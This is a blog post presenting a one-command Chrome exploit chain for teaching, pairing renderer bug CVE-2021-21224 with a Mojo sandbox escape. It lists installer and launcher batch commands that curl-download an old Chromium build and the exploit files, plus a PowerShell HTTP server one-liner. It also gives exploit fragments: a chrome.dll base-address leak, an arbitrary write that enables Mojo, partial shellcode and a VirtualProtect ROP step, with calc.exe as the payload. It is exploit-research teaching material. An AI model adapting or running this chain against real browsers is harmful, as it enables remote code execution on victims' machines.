Chrome Exploitation: How to easily launch a Chrome RCE+SBX exploit chain with one command

To teach Chrome exploitation to my team, I’ve selected a previous 0day RCE that I found last year for my company VerSprite: CVE-2021-21224 https://crbug.com/1195777, and I’ve paired it with a SBX bug found by Tim Becker: https://crbug.com/1062091.

For making the exploits simpler for teaching, I’ve reduced them as much as I could. The RCE has 40 lines, and the SBX has 80 lines.

Replication:

Simply using ‘installer.bat’ will install a vulnerable Chromium version, it will automatically hack it and a calculator.exe will be launched as proof of successful exploitation:
https://raw.githubusercontent.com/VerSprite/research/master/exploits/VS-2021-001/installer.bat

That’s all. Just double-clicking/running installer.bat will perform the RCE+SBX Chrome exploit and you’ll see calc.exe as proof.

Environment:

These scripts work fine in Windows 10 x64 and Windows 11 x64 and nothing else needs to be installed. In case you need a VM, you can get a ready-to-use VM from the official Microsoft website:   https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
The selected option should be Win10 x64 VM and the default password is Passw0rd!

Installer information:

The following downloads Chromium from the official Google website:
curl -o chrome.zip "https://www.googleapis.com/download/storage/v1/b/chromium-browser-snapshots/o/Win_x64%%2F737173%%2Fchrome-win.zip?generation=1580439619624464&alt=media"

To decompress the package:

tar -xvf chrome.zip
Then, download the RCE & SBX exploits from VerSprite github, and the required mojo files:
for %%z in (rce.html sbx.html launcher.bat mojo_bindings.js installed_app_provider.mojom.js blob_registry.mojom.js url.mojom.js) do curl --remote-name https://raw.githubusercontent.com/VerSprite/research/master/exploits/VS-2021-001/%%z

Note: In case you would like to verify the integrity of the mojo files (which are: mojo_bindings.js installed_app_provider.mojom.js blob_registry.mojom.js url.mojom.js), they can be found in the “gen” directory after decompressing this Chromium_ASAN package from the official Google website:
https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64%2Fasan-win32-release_x64-736938.zip?generation=1580409414119195&alt=media

When the installation is finished, it will proceed to launch the next script:

launcher.bat

Launcher information:

This launches the browser and visits a website containing the RCE:
start /b chrome-win\chrome.exe http://127.0.0.1:8000/rce.html

Launch a minimal http server:

powershell -command "$h = New-Object System.Net.HttpListener; $h.Prefixes.Add('http://127.0.0.1:8000/'); $h.Start(); while ($true){$c = $h.GetContext(); $z = Join-Path -Path $PWD.Path -ChildPath $c.Request.RawUrl.split('/')[-1]; $f = 'j'; if ([IO.File]::Exists($z)){$f = (Get-Content -Path ($z) -Raw);} $b = [System.Text.Encoding]::UTF8.GetBytes($f); $c.Response.OutputStream.WriteAsync($b, 0, ($c.Response.ContentLength64 = $b.Length))}"
Note: I have chosen powershell for the http server so we will not need to compile/install anything, as powershell is already included in Windows.

You can simply use ‘installer.bat’ and it will launch the RCE+SBX and calculator.exe will be visible. The exploit chain is reliable, but it is not %100 reliable so you might need to launch launcher.bat twice.

RCE exploit information:

To find the module base address of chrome.dll :
chrome_dll = d.getUint32(0, true) + 2**32*d.getUint32(4, true) - 0x7573E88

This performs a limited write in a backing store pointer, to perform an arbitrary write in a flag for enabling Mojo, as Mojo is required for the SBX exploit:
write8(addrof(m) + 0x1cn, BigInt(chrome_dll) + 0x7627657n)//mojoenable
d.setUint32(0, 0x1111111111, true)

Store the module base address of chrome.dll so it will be read in the SBX exploit:
localStorage.setItem('chrome_dll', chrome_dll)

Restore some of the corrupted values to prevent crashing on garbage collection:
b[1][10] = b_1_10
b[0] = 0
a1 = 0

Launch the SBX exploit:
location = 'sbx.html'

SBX exploit information:

To load the module base address of chrome.dll that was previously obtained in the RCE exploit:
let chrome_dll = BigInt(localStorage.getItem('chrome_dll'))

To use a shellcode that I have modified from Rajvardhan Agarwal for launching calculator.exe:
let sh = [0x00c0e8f0e48348fcn,  …..

To use a VirtualProtect ROPchain for making the stack to be executable:
set(7, 0x633443fn /*VirtualProtect*/)

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